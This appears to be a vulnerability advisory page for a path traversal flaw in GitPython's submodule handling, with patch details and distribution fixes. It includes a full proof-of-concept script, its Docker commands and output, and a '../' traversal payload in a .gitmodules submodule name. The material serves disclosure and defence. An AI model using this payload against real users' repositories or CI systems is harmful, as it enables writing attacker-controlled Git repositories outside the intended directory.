CVE-2026-76222 — gitpython
Fix: gitpython-developers/GitPython#2202CVE-2026-76222 is a Path Traversal vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
GitPython before 3.1.58 Path Traversal via .gitmodules Submodule Name
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-76222.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.
Details
src/GitPython/git/objects/submodule/util.py sm_name() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iter_items() in src/GitPython/git/objects/submodule/base.py reads this via sm_name(sms) and assigns it to sm._name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule._module_abspath() then builds osp.join(parent_repo.git_dir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule._clone_repo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.
PoC
- Environment: Docker image built
FROM python:3.11-slim, withgitinstalled viaapt-get install -y git(Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container viapip install /src/GitPythonfrom this repository's own source, which the advisory states resolved to the officially releasedGitPython==3.1.57andgitdb==4.0.12. - Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (
repo.submodules+sm.update(init=True), equivalent togit submodule update --init). - Commands run (quoted verbatim from the advisory's "Confirmed test run" section):
$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .
$ docker run --rm ghsa-gitpython-poc
(Per the Dockerfile, docker run executes /work/run_all.sh, which in turn runs build_attacker_repo.sh, then poc_gitpython.py, then poc_control_realgit.sh.)
4. Full source of the PoC script (GHSA/testing/poc_gitpython.py), verbatim:
"""GHSA-001 PoC: GitPython side.
Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
"""
import os
import shutil
import git
CLONE_DIR = '/work/victim_clone/repo'
ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'
def main():
shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)
print(f'GitPython version: {git.__version__}')
repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)
print('Cloned into:', repo.working_tree_dir)
sms = list(repo.submodules)
for sm in sms:
print(' submodule name:', repr(sm.name))
print(' submodule path:', repr(sm.path))
print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))
for sm in sms:
try:
sm.update(init=True)
except Exception as e:
print('sm.update raised:', repr(e))
exists = os.path.exists(ESCAPE_TARGET)
print('escape_target exists after update:', exists)
if exists:
print('escape_target contents:', os.listdir(ESCAPE_TARGET))
print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')
if __name__ == '__main__':
main()
- Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section):
=== GitPython PoC (vulnerable path) ===
GitPython version: 3.1.57
Cloned into: /work/victim_clone/repo
submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'
submodule path: 'legit_dir'
escape_target exists before update: False
escape_target exists after update: True
escape_target contents: ['modules_dir']
POC_RESULT=VULNERABLE
=== Control: real git CLI on identical repo ===
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
fatal: No url found for submodule path 'legit_dir' in .gitmodules
CONTROL_RESULT=SAFE (real git correctly refused)
- Payload: the attacker rewrites the
.gitmodulessection header from[submodule "legit_dir"]to[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"](built bybuild_attacker_repo.sh, part of the harness inGHSA/testing/). The malicious part is the../../../../../../traversal sequence embedded in the submodule name (not the tree-validatedpath), which becomes the on-disk target for the submodule's separate git directory. - Expected vs. observed: A safe implementation (as demonstrated by the real
gitCLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at/tmp/gitpython_poc_escaped_root/modules_dir, confirmed byescape_target exists after update: Trueand its listed contents. - Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled)
url.
Impact
Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.58pip install --upgrade 'gitpython==3.1.58' |
Affected Products
gitpythongitpython_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-76222 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
CVE-2026-76222 is a path-traversal flaw in GitPython submodule handling: cloning a malicious repository and initializing its submodules can create files or repositories outside the intended directory, because GitPython omits the suspicious-submodule-name guard that upstream core git enforces. Unlike the caller-gated…
There is no mitigation beyond not cloning or initializing git submodules from untrusted repositories. Upgrade to GitPython 3.1.58 or later when it becomes available.Source: Red Hat security advisory for CVE-2026-76222 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Satellite 6.19 for RHEL 9 | python3.12-gitpython-0:3.1.59-1.el9pc | RHSA-2026:63385 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/controller-rhel8:1789607021 | RHSA-2026:71210 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/controller-rhel9:1789673739 | RHSA-2026:71179 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/controller-rhel9:1789580684 | RHSA-2026:71177 |
| Red Hat OpenShift AI 3.5 | rhoai/odh-training-cuda128-torch29-py312-rhel9:1789529851 | RHSA-2026:69539 |
| Red Hat Satellite 6.18 | satellite/iop-vmaas-rhel9:1789611858 | RHSA-2026:68764 |
| Red Hat Satellite 6.18 | satellite/iop-vulnerability-engine-rhel9:1789637082 | RHSA-2026:68771 |
| Red Hat Satellite 6.19 | satellite/iop-vulnerability-engine-rhel9:1789607605 | RHSA-2026:68776 |
Frequently Asked Questions
Is CVE-2026-76222 in your dependencies?
Find it across PyPI, including transitive dependencies.